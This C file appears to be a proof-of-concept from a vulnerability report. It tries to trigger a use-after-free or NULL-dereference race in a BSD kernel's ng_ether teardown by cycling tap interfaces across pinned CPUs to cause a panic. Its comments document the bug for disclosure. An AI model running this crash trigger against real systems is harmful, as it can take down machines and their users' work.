DF-3530 / race_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * DF-3530 PoC (natural race attempt) — v1 ng_ether teardown frees `priv` * with no synchronization against the data-plane readers. * * Bug (sys/netgraph/ether/ng_ether.c): * ng_ether_detach (:321-337) does, in order: * ng_rmnode(node); // destroy hooks (HK_INVALID) * node->flags |= NG_INVALID; * ng_unname(node); * IFP2NG(ifp) = NULL; // (4) * priv = node->private; * bzero(priv, sizeof(*priv)); // (6) * kfree(priv, M_NETGRAPH); // (7) <-- freed here * node->private = NULL; // (8) * ng_unref(node); * with NO lock, no reference, no draining of in-flight readers. * The RX/TX readers run in arbitrary thread/netisr context: * ng_ether_input (:206-213) node = IFP2NG(ifp); priv = node->private; * ng_ether_input_orphan (:222-230) same * ng_ether_output (:260-273) same * ng_ether_rcvdata (:505-513) priv = hook->node->private; * ng_ether_rcvmsg (:401...) priv = node->private; * A reader that loads `node` before (4)/(8) and `private` after (8) * dereferences NULL (panic), and one that lands between (7) and (8) * dereferences FREED memory (UAF). The only incidental protection is the * HK_INVALID flag check in ng_send_data() — which is itself a TOCTOU in * the v1 core and does not cover the if_ethersubr callbacks at all. * * This program tries to win the race naturally: N processes each cycle * create->flood->close->destroy their own tap interface (tap write == one * RX frame -> ether_input -> ng_ether_input), pinned to separate CPUs. * * NOTE: this natural window is nanoseconds wide vs a microsecond+ teardown; * per the DF-2587 precedent it is expected NOT to hit in bounded time. * The deterministic primitive confirmation is harness_mod.c (forces the * exact post-teardown observable state on a live interface). * * Root only. Build/run: see build.sh / run.sh */ #include <sys/types.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <net/if.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/wait.h> static const unsigned char frame[64] = { 0xff,0xff,0xff,0xff,0xff,0xff, 0x02,0x00,0x00,0x00,0x00,0x01, 0x08,0x00 }; static int sh(const char *cmd) { return system(cmd); } static void cycle_worker(int worker, int seconds) { char tapname[16]; char cmd[128]; time_t end = time(NULL) + seconds; int cycles = 0, writes = 0; snprintf(tapname, sizeof(tapname), "tap%d", 100 + worker); while (time(NULL) < end) { snprintf(cmd, sizeof(cmd), "ifconfig %s create 2>/dev/null", tapname); if (sh(cmd) != 0) continue; char dev[32]; snprintf(dev, sizeof(dev), "/dev/%s", tapname); int fd = open(dev, O_RDWR); if (fd < 0) { snprintf(cmd, sizeof(cmd), "ifconfig %s destroy 2>/dev/null", tapname); sh(cmd); continue; } for (int i = 0; i < 128; i++) { if (write(fd, frame, sizeof(frame)) < 0) break; writes++; } close(fd); snprintf(cmd, sizeof(cmd), "ifconfig %s destroy 2>/dev/null", tapname); sh(cmd); cycles++; } fprintf(stderr, "[w%d] %d cycles, %d frames\n", worker, cycles, writes); _exit(0); } int main(int argc, char **argv) { int nworkers = 4; int seconds = 120; int i; if (argc > 1) nworkers = atoi(argv[1]); if (argc > 2) seconds = atoi(argv[2]); fprintf(stderr, "[+] DF-3530 natural race: %d workers x %ds tap create/flood/destroy\n", nworkers, seconds); sh("kldload -n ng_ether 2>/dev/null"); for (i = 0; i < nworkers; i++) { pid_t p = fork(); if (p == 0) { char cmd[64]; /* pin to cpu i */ snprintf(cmd, sizeof(cmd), "cpuset -c -l %d %d 2>/dev/null", i, getpid()); sh(cmd); cycle_worker(i, seconds); } } for (i = 0; i < nworkers; i++) wait(NULL); fprintf(stderr, "[+] done - no panic on this run (window is nanoseconds; see harness_mod.c)\n"); return 0; } |